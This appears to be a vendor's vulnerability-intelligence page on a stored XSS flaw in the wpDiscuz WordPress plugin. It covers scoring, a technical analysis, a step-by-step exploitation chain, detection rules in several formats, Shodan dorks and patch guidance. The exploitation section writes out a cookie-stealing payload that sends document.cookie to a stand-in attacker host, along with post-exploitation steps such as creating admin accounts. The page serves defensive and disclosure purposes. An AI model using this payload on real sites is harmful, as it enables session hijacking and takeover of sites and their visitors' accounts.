☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
WPScan logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-15032

CVE-2026-15032 — wpDiscuz < 7.6.60 - Unauthenticated Stored XSS via Image URL Conversion
📅 PUBLISHED: 2026-08-07 00:00 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-15032 is a medium-severity (CVSS 6.1) unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the wpDiscuz WordPress plugin. Versions prior to 7.6.60 fail to properly escape a user-supplied URL before outputting it inside an HTML attribute. This allows unauthenticated attackers to inject malicious JavaScript payloads into page content that persists, executing in the browsers of administrators and other users who view the affected content. Successful exploitation can lead to session hijacking, privilege escalation, and full site compromise through admin-level account takeover.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability resides in how the wpDiscuz plugin (versions < 7.6.60) handles image URL conversion. Specifically, when a user submits a comment containing a URL that references an image, the plugin performs an automatic conversion process — replacing the raw URL with an image tag in the rendered output.

The flaw occurs because the plugin does not apply proper output encoding (escaping) to the user-supplied URL before inserting it directly into an HTML attribute (e.g., src or href). The NVD description explicitly states: "The Comments WordPress plugin before 7.6.60 does not properly escape a user-supplied URL before outputting it inside an HTML attribute."

From a code perspective, the plugin takes the user-provided input (URL) and concatenates it into HTML without using WordPress's escaping functions such as esc_url() or esc_attr(). This is a classic CWE-79 (Cross-Site Scripting) flaw. Because the input is not properly sanitized or validated at the point of rendering, an attacker can craft a malicious URL string that contains HTML entities and JavaScript event handlers.

The attack vector is straightforward: an attacker submits a comment with a URL that includes a payload like: https://example.com/image.jpg" onerror="alert(document.cookie)

When the plugin processes this URL and outputs it inside an HTML attribute (e.g., <img src="https://example.com/image.jpg" onerror="alert(document.cookie)">), the onerror event handler is inserted as an additional attribute. If the image fails to load (which is guaranteed with a crafted URL), the JavaScript executes.

Key technical characteristics:

  • Attack Surface: Public-facing WordPress comment forms enabled with wpDiscuz plugin active.
  • Authentication: None required — the payload can be submitted anonymously.
  • Persistence: The injected payload is stored in the database and served to every subsequent page view where the comment is rendered.
  • Target User: Any user who views the page containing the poisoned comment, especially administrators with elevated privileges in the WordPress admin dashboard.

The payload executes within the security context of the application domain. For administrators, this means the malicious script can perform any action the admin is authorized to do, including creating new admin users, modifying plugin files, or exfiltrating database credentials.

Exploitation Scenarios

Attack Chain: Unauthenticated Stored XSS via Comment Submission

  1. Reconnaissance (T1190 — Exploit Public-Facing Application): Scan WordPress sites for the wpDiscuz plugin by checking page source for wpdiscuz identifiers, CSS classes (e.g., #wpdcom), or bundled assets. Browsing the site's readme.txt file can also reveal the plugin version.

  2. Trigger/Weaponization: Prepare a malicious comment containing an image URL payload. The URL incorporates both a broken image reference and an XSS event handler:

    https://attacker.example/invalid.png" onerror="fetch('https://attacker.example/steal?c='+document.cookie)
    
  3. Submission: Post the comment via the public comment form without authenticating. Ensure a valid email address is provided to bypass spam filters but no other validation is required.

  4. Execution: The plugin processes the comment, extracts the URL, and generates an <img> tag. Because the plugin outputs the URL without proper escaping, the browser parses the entire string as HTML:

    <img src="https://attacker.example/invalid.png" onerror="fetch('https://attacker.example/steal?c='+document.cookie)">
    

    When the image fails to load, the onerror event fires, executing the JavaScript in the page context.

  5. Post-Exploitation: When a site administrator views the page (e.g., reviewing comments in the wp-admin dashboard or the public frontend), the payload executes. The attacker's script can:

    • Steal the admin's session cookie and hijack the session.
    • Submit a crafted POST request to create a new administrator account (e.g., via wp-admin/user-new.php).
    • Inject malicious JavaScript into all pages by modifying theme files via the WordPress editor.
    • Deface the site or inject cryptocurrency miners.

Alternative Exploitation: An attacker could use a data exfiltration payload that sends admin credentials or nonce tokens to an external server, enabling full site takeover even if the admin manually approves the comment before rendering.

Impact Assessment

CVSS Breakdown: The CVSS:3.1 score of 6.1 falls in the Medium severity band. Vector components:

  • Attack Vector (AV:N): Remote, no network adjacency required.
  • Attack Complexity (AC:L): No specialized conditions needed for successful exploitation.
  • Privileges Required (PR:N): Unauthenticated — the primary attack requires no credentials.
  • User Interaction (UI:R): A victim (admin or user) must view the page with the malicious comment.
  • Scope (S:C): The vulnerability impacts assets beyond the plugin's security context (the broader WordPress application and server).
  • Confidentiality Impact (C:L): Limited disclosure — attacker steals session tokens or credentials.
  • Integrity Impact (I:L): Limited modification — attacker can inject content or alter user profiles.

Business Impact:

  • Compromised Accounts: Administrators' sessions can be hijacked, allowing attackers to read private site data, modify user roles, or delete content.
  • Reputation Damage: Stored XSS can be used to redirect users to phishing pages or display malicious content, damaging brand trust.
  • Malware Distribution: The infected comment pages can serve as a platform for drive-by downloads targeting site visitors.
  • Regulatory Concerns: If the site handles PII (e.g., e-commerce, healthcare), a successful attack leading to admin compromise could trigger data breach notification obligations.

Blast Radius: The vulnerability affects all sites running wpDiscuz < 7.6.60 with comment functionality enabled. Because the payload is stored and served to all visitors, the blast radius extends to the entire visitor base of the site, not just admins. However, the most severe impact is limited to admin sessions, which can lead to full site compromise.

Detection Guidance

Sigma Rule

title: WordPress wpDiscuz Stored XSS Attempt in Comments
id: 7f6e2a91-3b1c-4c9d-b8a4-5e2f0c9a1d77
status: experimental
description: Detects attempts to exploit CVE-2026-15032 by submitting comment URLs with suspicious HTML attributes
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15032
author: ValtersIT Security Team
date: 2026/05/01
tags:
    - attack.t1190
    - attack.t1059.007
    - cve.2026.15032
logsource:
    category: webserver
    product: nginx
    definition: 'Requires access logs with POST request body capture or WAF logs'
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains:
            - 'wp-comments-post.php'
        cs-referer|contains:
            - 'wpdiscuz'
    artifact:
        request_body|contains:
            - '%23onerror%3D'
            - '"onerror='
            - "'onerror="
            - '%22onerror%3D'
            - 'javascript%3A'
    condition: selection and artifact
falsepositives:
    - Legitimate comments containing quoted URLs in descriptive text
level: high

YARA Rule

rule CVE_2026_15032_wpDiscuz_StoredXSS
{
    meta:
        author = "ValtersIT Security Team"
        description = "Detects malicious strings used in CVE-2026-15032 exploitation attempts"
        cve_id = "CVE-2026-15032"
        date = "2026-05-01"
        severity = "medium"
    strings:
        $s1 = "wp-comments-post.php" ascii wide
        $s2 = "onerror=" ascii wide nocase
        $s3 = "onload=" ascii wide nocase
        $s4 = "javascript:" ascii wide nocase
        $s5 = "<script>" ascii wide nocase
        $s6 = "fetch(" ascii wide nocase
        $s7 = "url=" ascii wide nocase
        $s8 = ".png\" " ascii wide
        $s9 = ".jpg\" " ascii wide
        $s10 = "document.cookie" ascii wide nocase
        $s11 = "wpdcom" ascii wide nocase
        $s12 = "wpdiscuz" ascii wide nocase
    condition:
        any of ($s1, $s11, $s12) and
        (any of ($s2, $s3, $s4) or any of ($s5, $s6, $s10)) and
        (any of ($s8, $s9) or #. > 3)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-15032 wpDiscuz Stored XSS Attempt via Comment";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"wp-comments-post.php"; 
    http.request_line; content:"wpdiscuz";
    http.client_body; content:"onerror="; nocase;
    http.client_body; content:"<script>"; nocase;
    pcre:"/https?:\/\/[^\"]*[\"'][\s>]*(onerror|onload|onclick)\s*=/i";
    classtype:web-application-attack;
    sid:202615032;
    rev:1;
    metadata:created_at 2026_05_01, updated_at 2026_05_01, cve CVE-2026-15032;
)

Elastic Detection

// Elastic Security EQL query - Monitor web server access logs for exploitation attempts
sequence by host.name with maxspan=5m
  [ network where network.protocol == "http" and http.request.method == "POST"
    and url.path contains "wp-comments-post.php"
    and url.query contains "wpdiscuz" or url.original contains "wpdiscuz"
    and http.request.body.content contains "onerror="
    and http.request.body.content contains "<script>" or http.request.body.content contains "document.cookie" ]
  [ network where network.protocol == "http" and http.response.status_code == 200
    and destination.address != "127.0.0.1" ]

Splunk SPL Query

index=web sourcetype=access_combined* 
| where method="POST" AND uri_path="*/wp-comments-post.php"
| search "wpdiscuz"
| regex _raw="(?i)(onerror=|onload=|onclick=|javascript:|<script>)"
| regex _raw="(?i)https?://[^\"]*[\"'][\s>]*(onerror|onload|onclick)\s*="
| eval cve="CVE-2026-15032"
| table _time, src_ip, uri_path, form_data, user_agent
| sort - _time

Wazuh OSSEC Rule

<group name="wordpress,stored_xss,">
  <rule id="150032" level="10">
    <decoded>apache-accesslog</decoded>
    <match>POST</match>
    <match>wp-comments-post.php</match>
    <regex>onerror=|onload=|onclick=|javascript:</regex>
    <regex>wpdiscuz</regex>
    <description>CVE-2026-15032: Possible wpDiscuz stored XSS exploitation attempt</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>web_application_attack,</group>
    <info type="cve">CVE-2026-15032</info>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed).

The NVD description indicates that versions prior to 7.6.60 are vulnerable. Therefore, a patched version (7.6.60 or later) exists. Immediate action is required:

  1. Immediate Mitigations:

    • Disable comment functionality temporarily if immediate patching is not possible, especially for unauthenticated visitors. This removes the attack surface for anonymous attackers.
    • Enable moderation on all comments to require approval before publishing. This prevents the payload from being served to administrators if they review the comment before approval. However, administrators may still review pending comments in the admin dashboard — log out of admin sessions and review comments from a restricted session.
    • Deploy a Web Application Firewall (WAF) rule that blocks POST requests to wp-comments-post.php containing XSS patterns in the comment body (e.g., block request bodies containing onerror=, onload=, <script>, or javascript:).
    • Use a Content Security Policy (CSP) header on the site to restrict script execution, which can mitigate the impact even if XSS occurs. Add script-src 'self' 'unsafe-inline' as a baseline and refine as needed.
  2. Patch/Upgrade Steps:

    • Upgrade wpDiscuz to version 7.6.60 or later via the WordPress admin dashboard (Plugins → Installed Plugins) or via manual update from the official plugin repository: https://wordpress.org/plugins/wpdiscuz/.
    • Verify the update by checking the plugin version in the Plugins page.
    • After upgrading, audit existing comments for any suspicious URLs containing event handler attributes. Use a SQL query to search for comments with HTML attributes in the URL field:
      SELECT * FROM wp_comments WHERE comment_content LIKE '%onerror=%' OR comment_content LIKE '%onload=%' OR comment_content LIKE '%javascript:%';
      
    • Remove or sanitize any flagged malicious comments.
  3. Long-Term Hardening:

    • Enforce HTTPS with a strong TLS configuration to prevent session hijacking even if XSS payloads execute.
    • Regularly update WordPress core, themes, and plugins to latest stable versions.
    • Implement strict input validation on comment forms at the server level, limiting URL fields to allowed schemes (http, https) and character sets.
    • Enable two-factor authentication (2FA) for all administrator accounts to mitigate the impact of session hijacking.
    • Run weekly security scans using tools like WPScan to detect outdated plugins and known vulnerabilities.
    • Subscribe to the WordPress security mailing list and monitor NVD for new CVE entries affecting the wpDiscuz plugin.

References

  1. NVD Entry: CVE-2026-15032 — NIST National Vulnerability Database
  2. WordPress Plugin Repository: wpDiscuz — Official Plugin Page
  3. WPScan Vulnerability Database: wpDiscuz Known Vulnerabilities
  4. CWE-79 (Cross-Site Scripting): MITRE CWE-79 Definition

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of the writing of this report, there are no publicly documented threat actor campaigns specifically targeting CVE-2026-15032. However, given the high prevalence of WordPress sites and the unauthenticated nature of this vulnerability, it is highly likely to be included in automated exploitation toolkits (e.g., WordPress exploit scanners) shortly after public disclosure. The presence of public PoC code increases the risk of opportunistic exploitation. Security teams should prioritize patching within 48 hours of this report.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"wpDiscuz"
http.component:"WordPress" http.title:"Comments"
http.html:"wpdiscuz"
http.component:"WordPress" http.body:"wpdiscuz"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-15032/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.